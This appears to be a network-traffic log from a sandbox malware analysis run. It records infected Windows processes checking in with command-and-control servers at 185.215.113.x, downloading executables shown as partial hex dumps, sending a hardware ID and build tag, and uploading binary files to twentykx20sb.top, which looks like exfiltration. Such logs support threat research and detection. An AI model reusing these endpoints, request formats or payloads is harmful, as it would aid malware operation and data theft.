Nov 30, 2024 22:54:57.484481096 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010790001&unit=246122658369
Nov 30, 2024 22:54:58.818293095 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49935	185.215.113.16	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:58.954086065 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 22:55:00.328764915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:00 GMT Content-Type: application/octet-stream Content-Length: 1803264 Last-Modified: Sat, 30 Nov 2024 21:41:53 GMT Connection: keep-alive ETag: "674b86a1-1b8400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3c e7 4a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 80 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 69 00 00 04 00 00 88 f8 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPEL<Jg"i@i@M$a$$ $b@.rsrc$r@.idata $t@ *$v@vhfoedueOx@uyqyjaghpi^@.taggant0i"b@
Nov 30, 2024 22:55:00.328876972 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:00.328962088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:00.329319954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:00.329329014 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:00.329716921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:00.330038071 CET	1236	IN	Data Raw: cb 7d 98 87 f8 07 46 a3 6d 75 c1 00 a5 22 fe aa 61 d7 43 21 0d 60 c8 50 e4 72 0c a9 f3 ff 67 d8 f6 75 5d fa 72 99 d7 fb 94 3b b3 f6 7a f3 e0 15 3e 88 a5 e8 fe 00 04 3a f8 63 5c da cd 5b fc 22 e2 d4 ea e5 f8 fa b0 ae 70 3b 55 aa 60 c0 d3 c1 a4 79 Data Ascii: }Fmu"aC!`Prgu]r;z>:c\["p;U`y;mmA{!)lZSply=V_3\|STb1gs=\|d_SBTl:#sOtbcCakaVS-EfM([@Wd,^2w
Nov 30, 2024 22:55:00.330046892 CET	248	IN	Data Raw: 26 b1 02 09 e0 da ac b8 b4 b2 74 2d b1 9a da f8 11 72 22 54 e9 7d 54 5b 4e e2 aa 37 40 3c b4 9b 52 1f 16 49 03 3e 40 0e fa 06 43 0b b2 44 90 ac 6c 0d 42 79 56 39 f9 77 e6 c7 c2 74 4f 07 db 74 cc 5b c9 5e ca 29 b8 e3 91 64 9c 49 17 75 10 ed bf 36 Data Ascii: &t-r"T}T[N7@<RI>@CDlByV9wtOt[^)dIu6omF'APK1)E<fu!Zrk~t*)GG p:)3H{c9ITGz234yl+&{~E.!9xDV"@}f!&o,@+6h\|
Nov 30, 2024 22:55:00.330724001 CET	1236	IN	Data Raw: e6 b1 27 df f9 e0 7b bb 54 4b 2b 0d 51 49 55 3d 52 96 0a fa 49 69 c9 e8 c2 5a 00 13 39 ef 80 9d a4 60 fb 11 a1 6f 73 c2 64 d1 66 a0 76 d9 14 c1 f4 b9 6d f0 c0 58 b0 c7 e4 fc 73 81 41 f2 7a f6 68 98 40 b6 c9 0b 82 51 45 5e 24 44 9d 36 fd b1 64 7b Data Ascii: '{TK+QIU=RIiZ9`osdfvmXsAzh@QE^$D6d{kk!:s)%@@/KFe)3sJW+?bXF7gM}X$thtaEp:h?Gdcg;fpqX%(MAFylFS+9~20
Nov 30, 2024 22:55:00.330878019 CET	1236	IN	Data Raw: 8e 2b 20 f8 98 f3 64 51 43 08 34 c0 a5 cb 9d f2 fc ff 5b 1d a7 25 15 87 fc 51 d6 e8 48 6f f4 b1 d9 33 59 73 f4 6b f2 f0 6a ff 13 31 dd 4a 44 71 07 2b a0 f2 1c ff e5 79 79 39 eb 81 23 0b 04 eb fc 96 d5 bd 60 57 c5 e5 62 07 e0 45 f6 4b e2 01 fc 94 Data Ascii: + dQC4[%QHo3Yskj1JDq+yy9#`WbEKce+z9S(](X~{]1kRn1\?Lm\|{3uEc+%9e\|y?d!XThAvSdmD-gWs{3~
Nov 30, 2024 22:55:00.448832035 CET	1236	IN	Data Raw: a2 fa 47 84 d4 4f 73 39 43 6d a0 ff 22 fc 2c e7 c2 6d b0 f5 62 57 e2 d1 7b 5f dc e4 e0 a2 d3 9d ba 5f d6 c1 dc f7 5b d3 f3 5f ab f8 7b 1c 25 91 cd 66 e2 f5 04 9b d3 42 3a 23 d3 f8 98 1f ac 7d a0 b1 d3 3f 41 53 40 f0 a2 ef e2 1d f3 c8 1a a8 c4 d3 Data Ascii: GOs9Cm",mbW{__[_{%fB:#}?AS@TXI$m)/_g&gwtZ9KHW{kE _A`tPhC]QkyShyzh<hlqTDIZ@2p?iDE(?KDX{rh ?]\|`3mpE_*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49954	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:06.111896992 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010791001&unit=246122658369
Nov 30, 2024 22:55:07.475414038 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49955	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:06.515721083 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 22:55:07.893506050 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:55:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:55:08.012898922 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="build"drum------BFCFBKKKFHCFHJKFIIEH--
Nov 30, 2024 22:55:08.461775064 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:55:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49956	34.17.28.197	80	7948	C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:06.718447924 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20sb.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------ar3pt4QxPl778XqS6phNQw Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 72 33 70 74 34 51 78 50 6c 37 37 38 58 71 53 36 70 68 4e 51 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 69 6c 75 71 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f a7 f6 5e a9 d1 e4 22 10 4f 59 9a 4f 17 ae f4 90 76 dd 85 05 a9 3b 7c 64 2d 86 41 cf 91 d0 e2 d2 b6 54 17 f3 5b 9a e8 48 cb 66 d4 d0 db a2 97 6c 90 18 d1 8c ab 9f 79 0e 35 78 b8 4b 5e fa a8 6d 6f d1 1a f3 a2 98 af ce ed cc 8d 22 fe fc de f6 ef 33 7c 71 5e 2a 0a 68 85 c1 45 35 7c 78 3f 69 d0 57 9b d9 54 a3 ac d1 ad 64 06 a1 05 d1 02 2b 6f da 88 61 68 4c 78 a7 76 d4 3a a3 8f e8 e5 de 53 57 21 06 7b c7 80 b7 21 47 4a b7 22 97 f4 58 f4 b5 03 0a f2 1e 7d cb 09 9f 5c 0d 0b d3 ab 65 1b 6c 6f 60 42 49 41 f6 5f fc 06 6b af ea 66 a6 c9 [TRUNCATED] Data Ascii: --------------------------ar3pt4QxPl778XqS6phNQwContent-Disposition: form-data; name="file"; filename="Riluqu.bin"Content-Type: application/octet-stream^"OYOv;\|d-AT[Hfly5xK^mo"3\|q^hE5\|x?iWTd+oahLxv:SW!{!GJ"X}\elo`BIA_kf3btx[_BWB-PI2'7Bh.j29#+:--------------------------ar3pt4QxPl778XqS6phNQw--
Nov 30, 2024 22:55:08.159210920 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 21:55:07 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 23 x-ratelimit-reset: 1733004649 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49960	185.215.113.16	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:07.966007948 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 22:55:09.072316885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:08 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Sat, 30 Nov 2024 21:40:00 GMT Connection: keep-alive ETag: "674b8630-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 28 86 4b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL(Kg"dw@p@@@d\|@\u4@.text `.rdata@@.datalpH@.rsrc\@@@.relocuv@B
Nov 30, 2024 22:55:09.072454929 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 30, 2024 22:55:09.072616100 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 30, 2024 22:55:09.072731018 CET	224	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 30, 2024 22:55:09.072740078 CET	1236	IN	Data Raw: 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff 76 04 e8 da e7 01 00 59 8b 8f 08 fd ff ff 85 c9 0f 85 e3 0f 04 00 8b 8f Data Ascii: 04Y$<IvY-l\L_^[`t#05MI`
Nov 30, 2024 22:55:09.073091984 CET	24	IN	Data Raw: 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 Data Ascii: ON8w^_]UV
Nov 30, 2024 22:55:09.073240042 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 30, 2024 22:55:09.073467970 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 30, 2024 22:55:09.073477983 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 30, 2024 22:55:09.073925972 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 30, 2024 22:55:09.192550898 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49965	34.17.28.197	80	7948	C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:09.577389002 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20sb.top Accept: / Content-Length: 70826 Content-Type: multipart/form-data; boundary=------------------------7ycLhND30xe5VkpmzwzosZ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 79 63 4c 68 4e 44 33 30 78 65 35 56 6b 70 6d 7a 77 7a 6f 73 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 6e 6f 6b 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1e c9 1c 19 f4 3b 86 e7 11 97 d2 8d 14 e4 8a 1d d5 12 01 b4 7d 0f 86 ba 6a 08 28 a9 e4 79 a4 5f 54 b6 52 75 fb cc 11 4b 32 90 60 af bc f2 78 8f 90 14 64 93 90 02 0d 6b 0d 95 37 57 26 09 df 63 08 95 21 9f 0e 34 cb 7a 98 a9 dc b9 80 8f 31 ce 64 e9 ca e4 6a eb 03 e0 dc ab 37 f9 6c d7 e1 89 57 fd 5a 3f d1 eb 58 ec eb 0b 91 a7 2e c1 a2 29 3c a5 21 01 98 a6 80 6e 6f e8 b5 94 cb e9 ac a5 5c ee 43 12 a4 05 59 a7 ad 89 63 e2 9c 03 d5 97 b8 ad fe fb 67 54 b5 ab 50 f9 02 12 47 a6 4f 5e f3 3e d4 94 c8 ce 8f 69 5a f8 80 b0 21 12 dd 03 5f 64 [TRUNCATED] Data Ascii: --------------------------7ycLhND30xe5VkpmzwzosZContent-Disposition: form-data; name="file"; filename="Banoka.bin"Content-Type: application/octet-stream;}j(y_TRuK2`xdk7W&c!4z1dj7lWZ?X.)<!no\CYcgTPGO^>iZ!_dfzY#qVtXv7 Ub>nM5)=s^F;W?B'#vta)cc>`AT3.DFm<8k6& 9nO9`0SS>i(RsrXj\"$FI3R`i`klO["`_F%xA+I<ox1RGS\5_c-9e3TAboN&s`IVh&Q82`[Y^?ULmf^xvT'T(Gen#hV~yo5m_%G[8K#$g0jpqL@D.a1J69y:elqEk~B{ *qhC%78ar<=l5V~8H/gtUg160kk&Z3oR-\|U#YxGRtQCJR^1aa{3=[^K0449ui.P-L<ysk}i@>By3mjb$Y5_J>{A [TRUNCATED]
Nov 30, 2024 22:55:09.697659016 CET	4944	OUT	Data Raw: fe a1 8f f7 1c 8e c7 36 08 d6 1d 9a e5 14 aa 72 22 d1 a9 4e 3b e4 53 74 9f 4e bf 44 aa 22 ca 9f f9 64 92 9d b3 99 b0 c9 42 75 df 02 75 dd 73 11 4f bf af 46 91 0b df 20 8f 52 a4 d1 e4 8c 1b dc d7 9f f5 64 1f c3 72 4f 0c f6 a0 ea ff 2d 75 87 7f de Data Ascii: 6r"N;StND"dBuusOF RdrO-u0\|5:+-tB)0~~\|vo<=T9% ]~ jR~aXn9Mw(Nw!Sd^:U-bEd!] OG0{S^iC&m{
Nov 30, 2024 22:55:09.697735071 CET	2472	OUT	Data Raw: aa 0c af 39 78 f9 35 c1 0a 30 b8 44 86 75 58 a2 6b 34 4a 1b 57 61 3f af 9a 7e 58 9a 92 8a ca 1b 74 ff 4e 05 98 7f bd f9 c4 80 40 95 b5 f9 16 4e 57 74 b5 86 89 ad 24 25 e1 92 97 36 b7 4f 92 38 32 47 c8 87 4d d9 2a 0f b1 de da 6e d1 00 d6 1d 68 53 Data Ascii: 9x50DuXk4JWa?~XtN@NWt$%6O82GMnhSef[ue ##(.H=pQ`^GS-,;WqfQ6z*uaGod^M1~60[#QIbs00
Nov 30, 2024 22:55:09.697770119 CET	2472	OUT	Data Raw: b9 72 b0 2b de e2 eb e7 f1 73 30 c8 ec 41 59 9f b3 47 7c 7d 3e b2 f4 99 46 ab c4 6a 8e c6 55 2d a2 99 fb 1b c4 4c 9a 24 cf ff ec 70 b3 76 78 9a 0d 42 37 14 cb db c3 2a 5e 74 87 d6 c2 57 1b b2 1e 59 84 fe 9a a2 fa 5d f8 00 53 fc 90 03 12 4e 66 2e Data Ascii: r+s0AYG\|}>FjU-L$pvxB7^tWY]SNf.\ueYowHLcSM\S)jR\,y1BUftqVlL6"j+eTmqK\}l(RSE>ZKr()MOrlOII>p3
Nov 30, 2024 22:55:09.697804928 CET	2472	OUT	Data Raw: e1 93 6a 73 a9 7d 8d fb 65 f6 0a 98 5c 7d 97 f8 16 79 ee 27 98 44 76 7a dd 3d 90 d0 aa c3 6a 91 51 7b ce 2c 07 3b d8 4e 21 5c 7a 47 7a 62 c1 bc 5d 55 34 9d ce 04 2e 43 2e a9 bf 9e 69 47 b9 96 e2 fa 1c 65 89 f5 70 2d 5a 5d 0f a7 c9 37 7b 12 b5 5b Data Ascii: js}e\}y'Dvz=jQ{,;N!\zGzb]U4.C.iGep-Z]7{[b3[RZWa[nf]uJ3ZhF/7"DBnS>URg+6\un-UX{o[S~;A'+{IJ( YD"0>wV[?@\
Nov 30, 2024 22:55:09.697859049 CET	3708	OUT	Data Raw: 2a d7 14 52 20 d4 1a 94 f5 54 29 26 55 e2 9a 44 25 1a cc 69 ea 0b 89 66 b6 d7 1f f6 64 38 be f7 6f 88 6a 90 c1 40 a4 0a ff 1d 91 23 00 e7 6f df dd 2a 25 fc a5 27 0a 24 be 5d e0 91 4a 77 06 3e c8 4c ba 47 a1 ba 5f 3e 5f b7 8c 18 ad a5 9a 59 5f 7b Data Ascii: R T)&UD%ifd8oj@#o%'$]Jw>LG_>_Y_{>}l<LVg][Q%3RHB@FQ~`M; $ Wb+s9 q[0 3L-d0r$HgD]6\|S$`N-[3}jj^A
Nov 30, 2024 22:55:09.697870016 CET	1236	OUT	Data Raw: 96 0d e2 99 0d 70 c0 9c f9 d5 a0 ad ed 1b 73 77 f4 41 f1 63 ba b0 5d fc 35 ff 6a 1a 66 ff 5b f9 9e d8 fa cd 48 df 48 bb 85 c5 ee c4 d5 86 25 80 fa 59 6c 15 cb f2 d1 cc 3b 73 90 bd 2f 8d 1e b0 3e 01 22 a1 da 50 ee 28 fe 32 4e 6e cf cd 52 6a 71 da Data Ascii: pswAc]5jf[HH%Yl;s/>"P(2NnRjq/zAo39{m=GIzce3@"T`;I~a{sD3[=Pbo"s@W-eph0h@#VNb3KeUm.b&oaZQtoN
